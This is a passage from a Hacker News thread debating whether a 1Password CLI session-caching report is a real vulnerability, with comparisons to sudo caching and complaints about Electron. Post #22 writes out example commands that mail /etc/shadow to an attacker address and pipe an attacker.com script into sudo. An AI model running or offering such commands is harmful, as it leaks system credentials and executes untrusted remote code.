Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

1Password CLI Vulnerability

codeberg.org

Post reply on HN
Print view View original

21–30 of 67 posts

Re: 1Password CLI Vulnerability

#21

Post by cedws »

woadwarrior01 wrote: post #17

1Password used to be good 10 years ago, but not anymore. A couple of days ago, there was a post about Electron based apps that slow down macOS Tahoe (due to older versions of Electron using an undocumented API). When I ran the script on my laptop, 1Password was on the top of the list. > 1Password.app: Electron 37.3.1 (Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework) [1]: https://news.yc…

How did you come to the conclusion that this very recent issue is 1Password’s fault and not Electron’s?

Re: 1Password CLI Vulnerability

#22

Post by lazide »

damaya1982 wrote: post #16
kachapopopow wrote: post #11

Earlier quoted context omitted.

only applies to the current terminal session, this applied from any session including build sub-sessions. but yah, you're right it's a very low-risk attack.

Low-risk in terms of what? They’re superficially similar only in that both cache authentication for convenience. But the consequences are totally different. Sudo caches auth to let you run privileged commands locally; it doesn’t hand secrets to other processes. An unlocked 1Password CLI session can be abused by any code that can call the CLI (or read its session token) to export and ship vault contents, that’s an exf…

sudo cat /etc/shadow | mail attacker@gmail.com

or wget https://attacker.com/install_special_pam_bypass.sh | sudo install_special_pam_bypass.sh

Re: 1Password CLI Vulnerability

#23

Post by delusional »

hollow-moe wrote: post #4

is this just a "vulnerability" in the same way sudo doesn't ask for password for a short time after first use ?

Yep.

This "vulnerability" is actually just a standard warning to not run untrusted software on your machine. In this case the attacker can leverage a commandline program to read your unlocked password vault, but without that he'd still be able to steal any user owned files on your machine and access your bank through your browser to steal your money.

"It rather involved being on the other side of this airtight hatchway."

Re: 1Password CLI Vulnerability

#24

Post by oarsinsync »

cedws wrote: post #21
woadwarrior01 wrote: post #17

1Password used to be good 10 years ago, but not anymore. A couple of days ago, there was a post about Electron based apps that slow down macOS Tahoe (due to older versions of Electron using an undocumented API). When I ran the script on my laptop, 1Password was on the top of the list. > 1Password.app: Electron 37.3.1 (Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework) [1]: https://news.yc…

How did you come to the conclusion that this very recent issue is 1Password’s fault and not Electron’s?

1Password used to ship native (aka "Mac-assed") apps. They (relatively, in the software's history) recently switched to Electron instead of continuing native app development.

Re: 1Password CLI Vulnerability

#25

Post by hsbauauvhabzb »

kachapopopow wrote: post #11
hollow-moe wrote: post #4

is this just a "vulnerability" in the same way sudo doesn't ask for password for a short time after first use ?

only applies to the current terminal session, this applied from any session including build sub-sessions. but yah, you're right it's a very low-risk attack.

Could a terminal not cross access whatever properties the sudo time-out sets on another terminal session? E.g via /proc?

Re: 1Password CLI Vulnerability

#26

Post by psanford »

delusional wrote: post #23
hollow-moe wrote: post #4

is this just a "vulnerability" in the same way sudo doesn't ask for password for a short time after first use ?

Yep. This "vulnerability" is actually just a standard warning to not run untrusted software on your machine. In this case the attacker can leverage a commandline program to read your unlocked password vault, but without that he'd still be able to steal any user owned files on your machine and access your bank through your browser to steal your money. "It rather involved being on the other side of this airtight hatchw…

Yes. It is a nice report that does not engage with 1password's security model at all. 1password specifically says that they do not think it is feasible to defend against locally executing malware.

Re: 1Password CLI Vulnerability

#27

Post by crazygringo »

oarsinsync wrote: post #24
cedws wrote: post #21

Earlier quoted context omitted.

How did you come to the conclusion that this very recent issue is 1Password’s fault and not Electron’s?

1Password used to ship native (aka "Mac-assed") apps. They (relatively, in the software's history) recently switched to Electron instead of continuing native app development.

So again, how does an Electron bug become 1Password's fault?

It's cross-platform and integrates with browsers so it makes sense they would want to use a cross-platform JavaScript solution as much as possible. Not just to make their developers more efficient, but to reduce the surface area for bugs and vulnerabilities.

Re: 1Password CLI Vulnerability

#28

Post by macintux »

crazygringo wrote: post #27
oarsinsync wrote: post #24

Earlier quoted context omitted.

1Password used to ship native (aka "Mac-assed") apps. They (relatively, in the software's history) recently switched to Electron instead of continuing native app development.

So again, how does an Electron bug become 1Password's fault? It's cross-platform and integrates with browsers so it makes sense they would want to use a cross-platform JavaScript solution as much as possible. Not just to make their developers more efficient, but to reduce the surface area for bugs and vulnerabilities.

1Password used to be an excellent native app. It's not surprising that many users (myself included) resent the enshittification.

Re: 1Password CLI Vulnerability

#29

Post by crazygringo »

macintux wrote: post #28
crazygringo wrote: post #27

Earlier quoted context omitted.

So again, how does an Electron bug become 1Password's fault? It's cross-platform and integrates with browsers so it makes sense they would want to use a cross-platform JavaScript solution as much as possible. Not just to make their developers more efficient, but to reduce the surface area for bugs and vulnerabilities.

1Password used to be an excellent native app. It's not surprising that many users (myself included) resent the enshittification.

I've used it for years and am only finding out today that it's Electron. And I couldn't care less.

99.9% of my usage is within the browser plugin anyways. And whenever I have to edit an entry, it works fine.

Re: 1Password CLI Vulnerability

#30

Post by TheDong »

This is another case of being on the other side of an airtight hatchway: https://devblogs.microsoft.com/oldnewthing/20060508-22/?p=31...

If someone has arbitrary code execution on your machine as your user, then of course they can access things your user can access.

They could just as easily keylog your password, or replace the onepassword-cli binary with one that exfiltrates data, or steal your browser cookie to get into your email account and use that to hijack recovery flows...

Post reply on HN